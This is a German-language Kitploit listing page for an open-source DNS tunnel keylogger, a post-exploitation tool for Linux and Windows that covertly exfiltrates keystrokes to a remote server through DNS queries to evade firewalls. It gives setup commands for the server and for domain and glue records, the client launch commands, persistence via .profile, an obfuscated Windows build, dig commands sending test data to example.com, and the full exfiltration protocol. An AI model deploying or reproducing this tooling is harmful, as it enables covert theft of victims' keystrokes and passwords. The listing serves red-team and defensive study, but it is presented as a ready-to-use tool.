Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
DNS-Tunnel-Keylogger — Keylogging-Server und -Client, der DNS-Tunneling/-Exfiltration verwendet, um Tastenanschläge durch Firewalls zu übertragen. | Kitploit
Tools/GitHubGitHub/geeoon/dns-tunnel-keylogger
DatenexfiltrationPost-ExploitationCommand and ControlRed TeamingDNS-Analyse
GitHubgeeoon/dns-tunnel-keylogger

DNS-Tunnel-Keylogger

Keylogging-Server und -Client, der DNS-Tunneling/-Exfiltration verwendet, um Tastenanschläge durch Firewalls zu übertragen.

Repository anzeigen
28045vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

DNS Tunnel Keylogger

Dieser Post-Exploitation-Keylogger wird Tastatureingaben verdeckt an einen Server exfiltrieren.

Diese Tools zeichnen sich durch leichtgewichtige Exfiltration und Persistenz aus, Eigenschaften, die eine Erkennung verhindern. Sie nutzen DNS-Tunnelung/Exfiltration, um Firewalls zu umgehen und einer Erkennung zu entgehen.

Server

Setup

Der Server verwendet python3.

Um Abhängigkeiten zu installieren, führen Sie python3 -m pip install -r requirements.txt aus.

Starten des Servers

Um den Server zu starten, führen Sie python3 main.py aus.

root@kitploit:~
usage: dns exfiltration server [-h] [-p PORT] ip domain

positional arguments:
  ip
  domain

options:
  -h, --help            show this help message and exit
  -p PORT, --port PORT  port to listen on

Standardmäßig hört der Server auf UDP-Port 53. Verwenden Sie das Flag -p, um einen anderen Port anzugeben.

ip ist die IP-Adresse des Servers. Sie wird in SOA- und NS-Einträgen verwendet, die es anderen Nameservern ermöglichen, den Server zu finden.

domain ist die Domain, auf die gehört werden soll, und sollte die Domain sein, für die der Server autoritativ ist.

Registrar

Beim Registrar möchten Sie den Namespace Ihrer Domain auf benutzerdefinierten DNS ändern.

Weisen Sie diese auf zwei Domains, ns1.example.com und ns2.example.com.

Custom DNS on Spaceship

Fügen Sie Einträge hinzu, die die Namespace-Domains auf die IP-Adresse Ihres Exfiltrationsservers verweisen.

Personal Nameservers on Spaceship

Dies entspricht dem Setzen von Glue Records.

Client

Linux

Der Linux-Keylogger besteht aus zwei Bash-Skripten. connection.sh wird vom Skript logger.sh verwendet, um die Tastatureingaben an den Server zu senden. Wenn Sie manuell Daten wie eine Datei senden möchten, können Sie Daten an das connection.sh-Skript weiterleiten. Es stellt automatisch eine Verbindung her und sendet die Daten.

logger.sh

root@kitploit:~
Usage: logger.sh [-options] domain
Positional Arguments:
  domain: the domain to send data to
Options:
  -p path: give path to log file to listen to
  -l: run the logger with warnings and errors printed

Um den Keylogger zu starten, führen Sie den Befehl ./logger.sh [domain] && exit aus. Dies startet den Keylogger im Hintergrund, und alle eingegebenen Tastatureingaben werden gesendet. Das && exit am Ende bewirkt, dass die Shell beim Beenden geschlossen wird. Ohne das && exit gelangen Sie beim Beenden zurück zur nicht protokollierten Shell. Entfernen Sie &> /dev/null, um Fehlermeldungen anzuzeigen.

Die Option -p gibt den Speicherort der temporären Logdatei an, an die alle Eingaben gesendet werden. Standardmäßig ist dies /tmp/.

Die Option -l zeigt Warnungen und Fehler an. Kann für das Debugging nützlich sein.

logger.sh und connection.sh müssen sich im selben Verzeichnis befinden, damit der Keylogger funktioniert. Wenn Sie Persistenz wünschen, können Sie den Befehl zu .profile hinzufügen, um bei jeder neuen interaktiven Shell zu starten.

connection.sh

root@kitploit:~
Usage: command [-options] domain
Positional Arguments:
  domain: the domain to send data to
Options:
  -n: number of characters to store before sending a packet

Windows

Build

Um das Keylogging-Programm zu erstellen, führen Sie make im windows-Verzeichnis aus. Um mit reduzierter Größe und einer gewissen Verschleierung zu erstellen, wählen Sie das Ziel production. Dies erstellt das build-Verzeichnis für Sie und gibt eine Datei namens logger.exe im build-Verzeichnis aus. Ich habe das Erstellen nur mit MinGW unter Windows 10 getestet. Wenn Sie g++ auf einem Nicht-Windows-Rechner verwenden, erhalten Sie wahrscheinlich Build-Fehler im Zusammenhang mit windows.h.

make production domain=example.com

Sie können das Programm auch mit Debugging erstellen, indem Sie das Ziel debug auswählen.

make debug domain=example.com

Für beide Ziele müssen Sie die Domain angeben, auf die der Server hört.

Senden von Testanfragen

Sie können dig verwenden, um Anfragen an den Server zu senden:

dig @127.0.0.1 a.1.1.1.example.com A +short sendet eine Verbindungsanfrage an einen Server auf localhost.

dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short sendet eine Testnachricht an localhost.

Ersetzen Sie example.com durch die Domain, auf die der Server hört.

Protocol

Starten einer Verbindung

A-Record-Anfragen, die mit a beginnen, zeigen den Start einer "Verbindung" an. Wenn der Server sie empfängt, antwortet er mit einer gefälschten, nicht reservierten IP-Adresse, deren letztes Oktett die ID des Clients enthält.

Das folgende Format ist für das Starten einer Verbindung einzuhalten: a.1.1.1.[sld].[tld].

Der Server antwortet mit einer IP-Adresse im folgenden Format: 123.123.123.[id]

Gleichzeitige Verbindungen dürfen 254 nicht überschreiten, und Clients gelten nie als "getrennt".

Exfiltrieren von Daten

A-Record-Anfragen, die mit b beginnen, zeigen exfiltrierte Daten an, die an den Server gesendet werden.

Das folgende Format ist für das Senden von Daten nach dem Aufbau einer Verbindung einzuhalten: b.[packet #].[id].[data].[sld].[tld].

Der Server antwortet mit [code].123.123.123

id ist die ID, die bei der Verbindung festgelegt wurde. Daten werden als hexadezimal kodiertes ASCII gesendet.

code ist einer der unten beschriebenen Codes.

Antwortcodes

200: OK

Wenn der Client eine Anfrage sendet, die normal verarbeitet wird, antwortet der Server mit Code 200.

201: Fehlerhafte Record-Anfragen

Wenn der Client eine fehlerhafte Record-Anfrage sendet, antwortet der Server mit Code 201.

202: Nicht vorhandene Verbindungen

Wenn der Client ein Datenpaket mit einer ID sendet, die größer als die Anzahl der Verbindungen ist, antwortet der Server mit Code 202.

203: Pakete außerhalb der Reihenfolge

Wenn der Client ein Paket mit einer Paket-ID sendet, die nicht dem Erwarteten entspricht, antwortet der Server mit Code 203. Clients und Server sollten ihre Paketnummern auf 0 zurücksetzen. Dann kann der Client das Paket mit der neuen Paket-ID erneut senden.

204: Maximalverbindung erreicht

Wenn der Client versucht, eine Verbindung herzustellen, während das Maximum erreicht ist, antwortet der Server mit Code 204.

Verlorene Pakete

Clients sollten sich auf Antworten als Bestätigungen für empfangene Pakete verlassen. Wenn sie keine Antwort erhalten, sollten sie dieselbe Nutzlast erneut senden.

Nebennotizen

Linux

Logdatei

Die Logdatei mit den Benutzereingaben enthält ASCII-Steuerzeichen wie Backspace, Delete und Carriage Return. Wenn Sie den Inhalt mit etwas wie cat ausgeben, sollten Sie die passende Option wählen, um ASCII-Steuerzeichen auszugeben, z. B. -v für cat, oder sie in einem Texteditor öffnen.

Nicht-interaktive Shells

Der Keylogger basiert auf script, daher läuft der Keylogger nicht in nicht-interaktiven Shells.

Windows

Wiederholte Anfragen

Aus irgendeinem Grund sendet Dns_Query_A unter Windows immer doppelte Anfragen. Der Server verarbeitet dies problemlos, da er wiederholte Pakete verwirft.

Tool herunterladen